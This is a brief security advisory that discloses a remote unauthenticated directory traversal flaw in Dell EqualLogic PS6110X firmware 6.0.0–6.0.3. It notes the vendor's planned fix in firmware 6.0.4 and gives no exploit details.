Vulnerability Description
The Dell EqualLogic PS6110X is vulnerable to a directory traversal. A remote unauthenticated attacker can leverage this vulnerability to traverse out of the web root and retrieve arbitrary system files.

Solution Description
Dell has stated that the vulnerability described will be addressed in both the next maintenance release of the firmware, version 6.0.4, and in the next major firmware version. Dell plans to release the updated firmware on April 15, 2013 and has stated that it will be available to customers with valid support agreements through the EqualLogic support website (https://support.equallogic.com/).

Tested Systems / Software
Dell EqualLogic PS6110X – Firmware version: 6.0.0 through 6.0.3

Vendor Contact
Vendor Name: Dell
Vendor Website: http://www.dell.com